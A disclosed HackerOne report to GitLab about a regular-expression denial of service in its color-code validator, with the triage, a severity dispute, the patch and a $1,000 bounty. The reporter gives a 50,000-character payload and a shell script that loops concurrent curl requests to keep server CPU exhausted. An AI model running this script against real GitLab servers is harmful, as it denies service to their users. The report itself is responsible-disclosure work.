All functions that allow users to specify color code are vulnerable to ReDoS

Share:

State	Resolved (Closed)
Disclosed	**August 22, 2019 12:53am +0530**
Reported To	**GitLab**
Asset	gitlab.com (Domain)
Weakness	Denial of Service
Bounty	$1,000
Severity	Low (0.1 ~ 3.9)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE

8ayac submitted a report to **GitLab**. Mar 18th (5 months ago)

Summary:
Invalid color code leads to DoS.

Description:
GitLab has some functions that allow users to specify color code. (e.g.: Labels/Broadcast Messages)
All those functions are vulnerable to ReDoS.
It seems that there is a problem with the regex in app\validators\color_validator.rb to validate a specified color code.
An attacker can exhaust the server's CPU with this vulnerability, and cause a continuous DoS.

Steps To Reproduce:

1. Create a project.
2. Go to `http(s)://{GitLab Host}/{userid}/{Project Name}/labels/new`.
3. Fill out `Title` form with `PoC`.
4. Click `Create label` button.
5. Intercept the request.
6. Change the value of the parameter of `label%5Bcolor%5D` to `#0...(50000 times)c0ffee`.
7. Forward the request.

Result: Can not access to GitLab service. (CPU usage rate of the server had risen to over 90%.)

Note: If the attacker sends requests continuously, DoS will be continuous.

Supporting Material/References:

Regular expression Denial of Service - ReDoS - OWASP

Impact

All users will not be able to access the entire GitLab service.

BOT: gitlab-securitybot posted a comment. Mar 18th (5 months ago)

Hi @8ayac,

Thank you for submitting this report. We will investigate the issue as soon as possible.
Due to our current workload, we will get back within 20 business days with an update.

Please refrain from submitting your report or inquiring about its status through additional channels, as this unnecessarily binds resources in the security team.

Best regards,
GitLab Security Team

hackerjuan changed the status to ○ **Triaged**. Apr 2nd (5 months ago)

Hello,

Thank you for submitting this report.

We have verified this finding and have escalated to our engineering team. We will be tracking progress internally at https://gitlab.com/gitlab-org/gitlab-ce/issues/59851. This issue will be made public 30 days following the release of a patch.

We will continue to update you via HackerOne as a patch is scheduled for release.

Best regards,
Security Team | GitLab Inc.

hackerjuan updated the severity from Medium (6.5) to Low. Apr 2nd (5 months ago)

8ayac posted a comment. Apr 3rd (5 months ago)

Hi @hackerjuan,

Thank you for confirming, but why did you change the severity to Low?
In my survey, this issue runs out of server CPU and makes the service unavailable to all users.
Also, the DoS can be continued by a script like the one below:

```
#!/bin/sh
charBlock=$(head -c 50000 /dev/zero | sed -e 's/\x00/0/g')

gitlabHost=$1
userName=$2

curl=`cat << EOS
curl
  --silent
  --output /dev/null
  http://${gitlabHost}/${userName}/labels
  --header 'Host: ${gitlabHost}'
  -b '_gitlab_session=[PLACEHOLDER]'
  --data-binary 'utf8=%E2%9C%93&authenticity_token=[PLACEHOLDER]=%23${charBlock}c0ffee'
EOS`

for i in `seq $3`
do
    eval ${curl}&
done
```

- Usage: `$ ./poc.sh [GitLab host] [User name] [Repeat count of request]`

In addition, the exploit is possible for general users.

For the above reasons, the severity should be Medium.
Could you change the severity back to Medium?
If the severity of the vulnerability is Low, please explain why it is.

Thank you.

BOT: gitlab-securitybot posted a comment. Apr 3rd (5 months ago)

ETA for fix:

Hi @8ayac,

The GitLab issue created from your report is currently scheduled for 2019-07-22.

Thank you again for contacting us!

Best regards,
GitLab Security Team

8ayac posted a comment. Apr 27th (4 months ago)

Hi @hackerjuan,

I have found that shorter payloads can cause more serious effects.
The payload is `#000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000`.
With this payload, an attacker can make a user completely inaccessible to GitLab's services **with a single request**.
This vulnerability is exploitable by general users and may (perhaps) affect the entire gitlab.com, so I strongly recommend that you raise the priority.
Can you escalate to your engineering team, please?

Thank you,
8ayac

8ayac posted a comment. Updated Apr 27th (4 months ago)

I'm sorry that the additional information about the new payload is wrong.
That was the fault of my wrong testing.

hackerjuan closed the report and changed the status to **Resolved**. Updated Jul 18th (about 1 month ago)

Hi,

Thank you again for the report! Your finding has been patched in GitLab version 12.0.3 and we are awarding a bounty. Congratulations!

Please let us know if you find that our patch does not mitigate your finding. Your report will be published in 30 days in GitLab's issue tracker.

Regarding the severity of this issue, we constantly work on improving the consistency of our bug bounty program. We have decided that Denial of Service vulnerabilities will be considered low severity by default, as they depend a lot on the environment configuration of the affected GitLab instances, similar to DDoS. If you disagree or have any feedback please let us know, we are open to suggestions.

We look forward to your next report!

Best regards,
Security Team | GitLab Inc.

GitLab rewarded 8ayac with a **$1,000** bounty. Jul 18th (about 1 month ago)

8ayac requested to disclose this report. Aug 17th (5 days ago)

Publish this bug?

hackerjuan agreed to disclose this report. Aug 22nd (9 hrs ago)

This report has been disclosed. Aug 22nd (9 hrs ago)